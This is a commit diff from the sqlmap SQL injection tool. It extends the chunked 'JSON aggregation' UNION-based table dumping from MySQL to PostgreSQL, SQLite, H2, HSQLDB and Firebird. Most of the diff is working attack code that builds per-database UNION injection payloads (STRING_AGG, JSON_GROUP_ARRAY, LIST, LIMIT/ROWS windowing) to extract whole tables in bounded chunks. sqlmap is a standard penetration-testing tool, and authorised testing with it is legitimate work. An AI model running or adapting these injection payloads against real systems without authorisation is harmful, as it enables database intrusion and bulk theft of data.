More improvements for JSON_AGG retrieval

Author: stamparm

data/txt/sha256sums.txt

@@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7  lib/core/patch
 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3  lib/core/replication.py
 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6  lib/core/revision.py
 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c  lib/core/session.py
-f75f15165173becddf439996a85f011262178e1bf5d2d2bf8028455b7ff3ff94  lib/core/settings.py
+f79f96c5f073b663cc494c57b9641dc41e7ed13a28d5cec62bb9ca8904110d9c  lib/core/settings.py
 cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82  lib/core/shell.py
 bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725  lib/core/subprocessng.py
 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6  lib/core/target.py
@@ -241,7 +241,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0  lib/takeover/r
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/__init__.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/union/__init__.py
 ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085  lib/techniques/union/test.py
-3f834b877f0fb684e402d07af1d8a7c7d0cdb4c0a3f9f15fe8488a08d88db4f2  lib/techniques/union/use.py
+c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc  lib/techniques/union/use.py
 aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014  lib/utils/api.py
 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2  lib/utils/brute.py
 da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718  lib/utils/crawler.py

lib/core/settings.py

@@ -20,7 +20,7 @@
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.6.131"
+VERSION = "1.10.6.132"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

lib/techniques/union/use.py

@@ -255,15 +255,37 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count
     caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of
     rows, or None to let the caller fall back to the regular per-row UNION path.
 
-    NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None.
+    Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None.
     """
-    if not Backend.isDbms(DBMS.MYSQL) or not expressionFields or not expressionFieldsList:
+    dbms = Backend.getIdentifiedDbms()
+
+    if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) or not expressionFields or not expressionFieldsList:
         return None
 
+    start, stop, delimiter = kb.chars.start, kb.chars.stop, kb.chars.delimiter
+
     # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows
     base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression)
     orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList)))
-    aggFields = "CONCAT_WS('%s',%s)" % (kb.chars.delimiter, ','.join(agent.nullAndCastField(_) for _ in expressionFieldsList))
+    nulled = [agent.nullAndCastField(_) for _ in expressionFieldsList]
+
+    # per-DBMS: aggregate-over-windowed-columns expression (mirrors the single-shot branches) plus
+    # the "K rows at offset" window clause appended to the inner derived table
+    if dbms == DBMS.MYSQL:
+        aggExpr = "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (start, delimiter, ','.join(nulled), stop)
+        window = lambda o, k: "%s LIMIT %d,%d" % (orderBy, o, k)
+    elif dbms == DBMS.PGSQL:
+        aggExpr = "STRING_AGG('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s::text,' ')" % _ for _ in expressionFieldsList), stop)
+        window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o)
+    elif dbms == DBMS.SQLITE:
+        aggExpr = "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s,' ')" % _ for _ in expressionFieldsList), stop)
+        window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o)
+    elif dbms in (DBMS.H2, DBMS.HSQLDB):
+        aggExpr = "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (start, ("||'%s'||" % delimiter).join(nulled), stop)
+        window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o)
+    elif dbms == DBMS.FIREBIRD:
+        aggExpr = "LIST('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join(nulled), stop)
+        window = lambda o, k: "%s ROWS %d TO %d" % (orderBy, o + 1, o + k)
 
     debugMsg = "single-shot UNION dump output was too large; switching to "
     debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count
@@ -274,8 +296,7 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count
     offset = 0
 
     while offset < count:
-        inner = "%s %s LIMIT %d,%d" % (base, orderBy, offset, chunk)
-        query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb.chars.start, aggFields, kb.chars.stop, inner)
+        query = "SELECT %s FROM (%s %s) sqmapx" % (aggExpr, base, window(offset, chunk))
 
         kb.jsonAggMode = True
         output = _oneShotUnionUse(query, False)
@@ -348,6 +369,18 @@ def unionUse(expression, unpack=True, dump=False):
             value = parseUnionPage(output)
             kb.jsonAggMode = False
 
+            # If the single-shot aggregate failed (typically too large for the DBMS packet limit /
+            # response cap) and the table is large, retrieve the rows in bounded windows (chunked
+            # JSON aggregation) before the slow per-row fallback. Done here (independent of the
+            # detected UNION where-clause) so it engages for any dumpable FROM-table query.
+            if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)):
+                chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
+                if " ORDER BY " in chunkCountExpr.upper():
+                    chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")]
+                chunkCount = unArrayizeValue(parseUnionPage(_oneShotUnionUse(chunkCountExpr, unpack)))
+                if isNumPosStrValue(chunkCount) and (int(chunkCount) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated):
+                    value = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(chunkCount))
+
     # We have to check if the SQL query might return multiple entries
     # if the technique is partial UNION query and in such case forge the
     # SQL limiting the query output one entry at a time
@@ -398,14 +431,6 @@ def unionUse(expression, unpack=True, dump=False):
                 return value
 
             if isNumPosStrValue(count) and int(count) > 1:
-                # The single-shot full UNION dump failed and the table is large (or its oversized
-                # response was detected as truncated): retrieve the rows in bounded windows via
-                # chunked JSON aggregation (K rows/request) instead of the slow per-row path below.
-                if Backend.isDbms(DBMS.MYSQL) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)) and (int(count) >= JSON_AGG_CHUNK_ROWS or kb.respTruncated):
-                    chunked = _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, int(count))
-                    if chunked is not None:
-                        return chunked
-
                 threadData = getCurrentThreadData()
 
                 try: